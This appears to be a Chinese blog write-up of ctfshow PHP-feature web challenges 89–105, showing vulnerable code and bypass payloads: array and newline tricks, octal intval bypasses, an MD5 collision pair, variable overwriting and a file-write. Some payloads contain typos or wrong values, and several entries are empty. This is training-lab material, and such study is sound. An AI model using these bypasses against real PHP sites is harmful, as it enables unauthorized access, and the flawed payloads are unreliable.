CTFshow web入门 (php特性)

web 89

<?php


include("flag.php");
highlight_file(__FILE__);

if(isset($_GET['num'])){
    $num = $_GET['num'];
    if(preg_match("/[0-9]/", $num)){
        die("no no no!");
    }
    if(intval($num)){
        echo $flag;
    }
}

构造数组绕过即可

payload:?mun[]=1

web 90

web 91

<?php

show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
    if(preg_match('/^php$/i', $a)){
        echo 'hacker';
    }
    else{
        echo $flag;
    }
}
else{
    echo 'nonononono';
}
/i  表示匹配的时候不区分大小写

/m 表示多行匹配,什么是多行匹配呢?就是匹配换行符两端的潜在匹配。影响正则中的^$符号

这里主要的突破点就是/m,我们可以看到第一个preg_match()函数,有个/m,而第二个正则则没有,我们可以利用换行进行绕过

payload:?cmd=%0aphp

注:%0a是换行的意思

web 92

和web90是一样的

payload:?num=0x117c

web 93

<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("no no no!");
    }
    if(intval($num,0)==4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}

过滤了字母,十六进制弄不了,那就改八进制

payload:?num=010574

4476的八进制为10574

web 94

<?php

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("no no no!");
    }
    if(!strpos($num, "0")){
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }
}

strpos()

对于strpos()函数,我们可以利用换行进行绕过(%0a)

payload:?num=%0a010574

也可以小数点绕过

payload:?num=4476.0

因为intval()函数只读取整数部分

还可以八进制绕过(%20是空格的url编码形式)

payload:?num=%20010576

web 95

<?php

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]|\./i", $num)){
        die("no no no!!");
    }
    if(!strpos($num, "0")){
        die("no no no!!!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }
}

八进制绕过

payload:?num=%20010576

Payload: ?num=+010574

web 96

<?php

highlight_file(__FILE__);

if(isset($_GET['u'])){
    if($_GET['u']=='flag.php'){
        die("no no no");
    }else{
        highlight_file($_GET['u']);
    }


}

paylaod:?u=./flag.php

意思就是说显示当前目录下的flag.php文件

web 97

<?php


include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}
?>

md5碰撞

payload: a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

payload:a[]=1&b[]=1

web 98

<?php

include("flag.php");
$_GET?$_GET=&$_POST:'flag';  
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);

?> 

稀里糊涂的就出flag了,讲下大概思路

主要是三元运算符和变量覆盖

$_GET?$_GET=&$_POST:'flag'; 意思就是说如果存在GET请求,则将POAT请求覆盖掉GET请求

highlight_file($_GET['HTTP_FLAG']=='flag'?$flag: __FILE __); 意思就是说GET传参HTTP_FLAG的值为flag,则读取flag?

所以我就构造了GET:?flag=123

POST:HTTP_FLAG=flag

然后就得到了flag

web 99

<?php

highlight_file(__FILE__);
$allow = array();
for ($i=36; $i < 0x36d; $i++) { 
    array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
    file_put_contents($_GET['n'], $_POST['content']);
}

?> 

之后在cat flag36d.php即可

web 100

web 104

<?php

highlight_file(__FILE__);
include("flag.php");

if(isset($_POST['v1']) && isset($_GET['v2'])){
    $v1 = $_POST['v1'];
    $v2 = $_GET['v2'];
    if(sha1($v1)==sha1($v2)){
        echo $flag;
    }
}

?>

类似md5碰撞

payload:

GET:v2=1

POST: v1[]=2

web 105

<?php

highlight_file(__FILE__);
include('flag.php');
error_reporting(0);
$error='你还想要flag嘛?';
$suces='既然你想要那给你吧!';
foreach($_GET as $key => $value){
    if($key==='error'){
        die("what are you doing?!");
    }
    $$key=$$value;
}foreach($_POST as $key => $value){
    if($value==='flag'){
        die("what are you doing?!");
    }
    $$key=$$value;
}
if(!($_POST['flag']==$flag)){
    die($error);
}
echo "your are good".$flag."\n";
die($suces);

?>

先放payload:

foreach($_GET as $key => $value){
    if($key==='error'){
        die("what are you doing?!");
    }
    $$key=$$value;
//这是一步变量覆盖,我们传入suces=flag,最终会得到
//$suces=$flag,就是说将flag赋值给了suces变量

我们可以看到在只有GET请求的时候,报的是error错误,这也就说明我们只要将flag赋值给error变量即可

foreach($_POST as $key => $value){
    if($value==='flag'){
        die("what are you doing?!");
    }
    $$key=$$value;
}
//我们POST传入error=suces,最终得到$error=$suces,结合GET请求,推出$error=$flag,即成功将flag的值赋值给了error变量

posted @ 2020-10-11 18:01  NPFS  阅读(5292)  评论(0编辑  收藏  举报